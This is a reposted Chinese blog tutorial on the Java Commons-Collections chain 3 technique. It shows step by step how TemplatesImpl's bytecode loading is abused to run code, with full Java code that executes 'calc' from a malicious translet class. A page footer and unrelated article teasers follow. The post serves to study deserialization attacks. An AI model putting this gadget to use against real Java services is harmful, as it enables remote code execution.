java cc链3 TemplatesImpl类加载

java cc链3 TemplatesImpl类加载
使用url加载类
创建一个test类,只存在一段静态代码,构建为class文件,

package com.example;
public class test {static {System.out.println("aaaaa");}}

我这里把构建完成的test.class文件复制到D:/abc目录下,然后使用URLClassLoader进行加载,可以看到控制台正常输出aaaaa字段

public static void main(String[] args) throws Exception {URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\abc\\")});Class<?> a = urlClassLoader.loadClass("test");a.newInstance(); 
}

注意事项,由于test类存在package com.example;这里直接写urlClassLoader.loadClass("test");是没有问题的,但如果自己的是package org.example;,就会出错,需要修改为Class<?> a = urlClassLoader.loadClass("org.example.test")才能够正常执行,或者test类中直接删除package com.example;这一行即可

通过字节码进行类加载
使用上文创建的test类

public class test {static {System.out.println("aaaaa");}}

构建为class文件,读取class字节码,通过defineclass创建实例

ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\test.class"));
Class test = (Class) defineClass.invoke(systemClassLoader, "test",code, 0, code.length);
test.newInstance();

会发现控制台正常输出 aaaaa,这里是由于defineClass是私有属性,所以通过反射的方式进行调用。

这里将test.java的内容更改为

  public class test {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}

通过字节码加载的方式可以实现执行代码的效果。
在cc链1中是用的是InvokerTransformer.transform反射加载Runtime.class进而执行系统命令,如果能够找到一个接口调用了defineClassnewInstance(),符合加载字节码代码执行的条件,就可以将InvokerTransformer.transform进行替换

这里使用TemplatesImpl类,在getTransletInstance()方法中调用了defineTransletClasses()方法,并且刚好存在defineClassnewInstance()方法,并且getTransletInstance()在public方法newTransformer()中,满足方法中的条件,直到字节码实例的创建。

public synchronized Transformer newTransformer()throws TransformerConfigurationException
{TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);

创建TemplatesImpl()类调用newTransformer()方法,进入getTransletInstance()方法

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

这里进入defineTransletClasses()方法,调用defineclass方法,在运行newInstance()创建实例,这里需要_name不为空,通过反射修改_name属性值

        Class tc=templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"aaaa");

进入defineTransletClasses()方法,

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}

首先在

if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}

这个条件判断中_bytecodes不能为空,否则会报错退出,

TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});

这个方法中_tfactory不能为空,要不然会出现空指针错误(找不到getExternalExtensionsMap()方法),
查找到

private transient TransformerFactoryImpl _tfactory = null;

使用transient修饰,该字段不能被序列化,在readObject中对_tfactory赋值为

_tfactory = new TransformerFactoryImpl();

那么添加

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

在接下来的for循环中,_bytecodes为二维数组,通过for循环遍历一唯数组,

private byte[][] _bytecodes = null;
for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);

进入defineClass中,根据之前的字节码创建实例,这里传入的_bytecodes[i]应该是读取的字节码,

 Class defineClass(final byte[] b) {return defineClass(null, b, 0, b.length);}

添加为

Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
byte[][] codes= {code};bytecodes.set(templates,codes);

这里的二维数组只有一个一维数组,所以for循环为

for (int i = 0; i < 1; i++)

i的取值只有0
在下面的if条件判断中

 for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}

在两个if判断中,只需要满足superClass.getName().equals(ABSTRACT_TRANSLET)=true即可
其实在readObject中可以找到

_transletIndex = gf.get("_transletIndex", -1);

_transletIndex的默认值为-1,如果进入_auxClasses.put(_class[i].getName(), _class[i]);判断,下一步的if判断if (_transletIndex < 0) 还是会报错退出,还想要执行外部的newInstance()方法,

这里查看ABSTRACT_TRANSLET的属性值

private static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

也就是说父类需要为AbstractTranslet,由于这里的superClass其实是

_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();

传入的字节码的父类,所以这里需要对test.class进行修改
导入类,继承AbstractTranslet父类1

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class ceshi extends AbstractTranslet{static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

由于AbstractTranslet是个抽象类,需要实现AbstractTranslet的两个方法(导入类,继承方法后,点击给出的提示即可)

那么到现在,通过TemplatesImpl类,已经完成了字节码实例加载,完整的代码如下

test08.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class test08 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class tc=templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"aaaa");Field bytecodes = tc.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));byte[][] codes= {code};bytecodes.set(templates,codes);Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());templates.newTransformer();}
}
ceshi.java
import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class ceshi extends AbstractTranslet{static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

这里的ceshi就是上文中的test,构建执行,弹出calc,说明已经执行了ceshi.class的内容, 建议先观看白日梦组长基础篇关于动态类加载,再看cc链3,
参考
白日梦组长

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/626031.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

01-10jQuery框架

jQuery框架 jQuery框架 概念&#xff1a;jQuery是继prototype之后一个优秀的开源的JavaScript代码库&#xff08;或JavaScript框架&#xff09;&#xff0c;它封装JavaScript常用的功能代码。 特点&#xff1a; (1) 具有独特的链式语法&#xff0c;可以把多个操作写在一行代…

【极光系列】springboot集成redis

【极光系列】springboot集成redis tips&#xff1a;主要用于快速搭建环境以及部署项目入门 gitee地址 直接下载源码可用 https://gitee.com/shawsongyue/aurora.git模块&#xff1a;aurora_rediswindow安装redis安装步骤 1.下载资源包 直接下载解压&#xff1a;https://pa…

汇编和c++初学,c++字符串加整型,导致的字符串偏移

从汇编角度分析"helloworld"1 “helloworld”1对应 mov dword ptr [a],1 mov eax,dword ptr [a] add eax,offset string "helloworld" (03CCCBCh)eax地址偏移加了1&#xff0c; lea ecx,[test]最终取的内存偏移地址&#xf…

【遥感专题系列】影像信息提取之——面向对象的影像分类技术

“同物异谱&#xff0c;同谱异物”会对影像分类产生的影响&#xff0c;加上高分辨率影像的光谱信息不是很丰富&#xff0c;还有经常伴有光谱相互影响的现象&#xff0c;这对基于像素的分类方法提出了一种挑战&#xff0c;面向对象的影像分类技术可以一定程度减少上述影响。 本…

(三)SQL优化与索引使用

示例 CREATE TABLE `employees` (`id` int(11) NOT NULL AUTO_INCREMENT,`name` varchar(24) NOT NULL DEFAULT COMMENT 姓名,`age` int(11) NOT NULL DEFAULT 0 COMMENT 年龄,`position` varchar(20) NOT NULL DEFAULT COMMENT 职位,`hire_time` timestamp NOT NULL DEFAUL…

Go-gin-example 第二部分 jwt验证

文章目录 使用 JWT 进行身份校验jwt知识点补充认识JWTTOKEN是什么jwt的使用场景jwt的组成headerpayloadsignature 下载依赖包编写 jwt 工具包jwt中间件编写如何获取token 编写获取token的Apimodels逻辑编写路由逻辑编写修改路由逻辑 验证token将中间件接入Gin功能验证模块 续接…

交友脱单盲盒源码,纸条广场,支持单独抽取/连抽/同城

源码介绍 交友脱单盲盒源码&#xff0c;纸条广场&#xff0c;单独抽取/连抽/同城。 盲 盒交友脱单系统源码包含了学校、爱好、城市、地区、星座等 等信息&#xff0c;具有首页轮转广告和页面美化功能。 首页提供了两款 连抽和高质量底部连抽的选项&#xff0c;并且可以在后台…

如何通过ISPC使用Xe(核显)进行计算

我一直以为 ISPC 的 Xe 是只包含独立显卡的&#xff0c;比如 A770 这些&#xff0c;没想到看了眼文档是可以使用核显的&#xff0c;但只能在 Linux 和 Windows 上&#xff0c;macOS 不行&#xff0c;就想试试看。 写本文是因为 ISPC 已经出现了三四个版本的大改&#xff0c;但…

基于SSM的网上挂号系统的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

每日一练:LeeCode-102、二又树的层序遍历【二叉树】

本文是力扣LeeCode-102、二又树的层序遍历 学习与理解过程&#xff0c;本文仅做学习之用&#xff0c;对本题感兴趣的小伙伴可以出门左拐LeeCode。 给你二叉树的根节点 root &#xff0c;返回其节点值的 层序遍历 。 &#xff08;即逐层地&#xff0c;从左到右访问所有节点&…

蓝桥杯备赛

洛谷做题打卡day2 嵌套循环yyds&#xff01; 很多前辈的题解都很长且包括诸如s[i-1][j-1]一直到s[i1][j1]这般冗长的搜索&#xff0c;其实…我觉得直接用循环就好了嘛 两次debug然后AC&#xff0c;嵌套了find函数看起来会稍微简洁一些&#xff0c;其实这题思路不难的——不外…

友元函数与友元类

友元函数与友元类 实验介绍 私有成员只能在类的成员函数内部访问,如果想在别处访问对象的私有成员,只能通过类提供的接口(成员函数)间接地进行。声明为友元函数或友元类后就可以直接访问类中所有成员,但同时也破坏了类的封装性。 为什么在模板篇中讲解友元函数和友元类…

类型“{}”上不存在属性“xxx”。ts(2339)-解决方案集锦

类型“{}”上不存在属性“xxx”。ts(2339)-解决方案集锦 文章目录 类型“{}”上不存在属性“xxx”。ts(2339)-解决方案集锦一、方案一&#xff08;优先尝试&#xff09;二、方案二&#xff08;优先尝试&#xff09;三、方案三这该是多么痛苦的一篇笔记啊&#xff01;&#xff0…

【设计模式-3.3】结构型——享元模式

说明&#xff1a;说明&#xff1a;本文介绍设计模式中结构型设计模式中的&#xff0c;享元模式&#xff1b; 游戏地图 在一些闯关类的游戏&#xff0c;如超级玛丽、坦克大战里面&#xff0c;游戏的背景每一个关卡都不相同&#xff0c;但仔细观察可以发现&#xff0c;其都是用…

【二叉树遍历和练习】

文章目录 一、二叉树前中后遍历二、获取节点个数三.获取叶子节点个数四.获取第k层节点个数五.求二叉树的高度&#xff0c;时间复杂度O&#xff08;N&#xff09;六.检测值为value的元素是否存在七. 检查两颗树是否相同八.判断一棵二叉树是不是平衡二叉树九.一个二叉树的根节点 …

Hutool sqlserver 数据库简单操作-Db

项目中主数据库是mysql的&#xff0c;使用mybatis处理非常舒服。项目中还会极少量涉及一个sqlserver数据源的读取操作&#xff0c;虽然mybatis是支持多数据源的&#xff0c;但是感觉用起来不那么顺手偏重一些了。 最初我的想法是涉及sqlserver的库的操作直接使用jdbc来实现就好…

java基于Spring Boot的灾害应急救援评估调度平台

灾害应急救援平台的目的是让使用者可以更方便的将人、设备和场景更立体的连接在一起。能让用户以更科幻的方式使用产品&#xff0c;体验高科技时代带给人们的方便&#xff0c;同时也能让用户体会到与以往常规产品不同的体验风格。&#xff08;1&#xff09;鉴于该系统是一款面向…

深入理解和应用C++ std::shared_ptr别名构造函数

深入理解和应用C std::shared_ptr别名构造函数 引言 在现代C中&#xff0c;智能指针是一个极为重要的工具&#xff0c;尤其std::shared_ptr以其自动内存管理、引用计数和多线程安全性等特性深受开发者喜爱。其中一个不太常用但功能强大的构造方式是别名构造函数&#xff0c;它…

C++ 设计模式之外观模式

【声明】本题目来源于卡码网&#xff08;题目页面 (kamacoder.com)&#xff09; 【提示&#xff1a;如果不想看文字介绍&#xff0c;可以直接跳转到C编码部分】 【简介】什么是外观模式 外观模式Facade Pattern , 也被称为“⻔⾯模式”&#xff0c;是⼀种结构型设计模式&#…

WordPress如何修改旧文章的发布日期让其变成新文章发布?

我们个人网站发展一段时间后&#xff0c;可能就不懂得发布什么内容了&#xff0c;这个时候可以考虑翻看以前的旧文章&#xff0c;必要时对其进行适当修改&#xff0c;然后修改它的发布日期变成当前日期重新发布&#xff0c;这样就会变成新文章重新出现在我们首页的文章列表中。…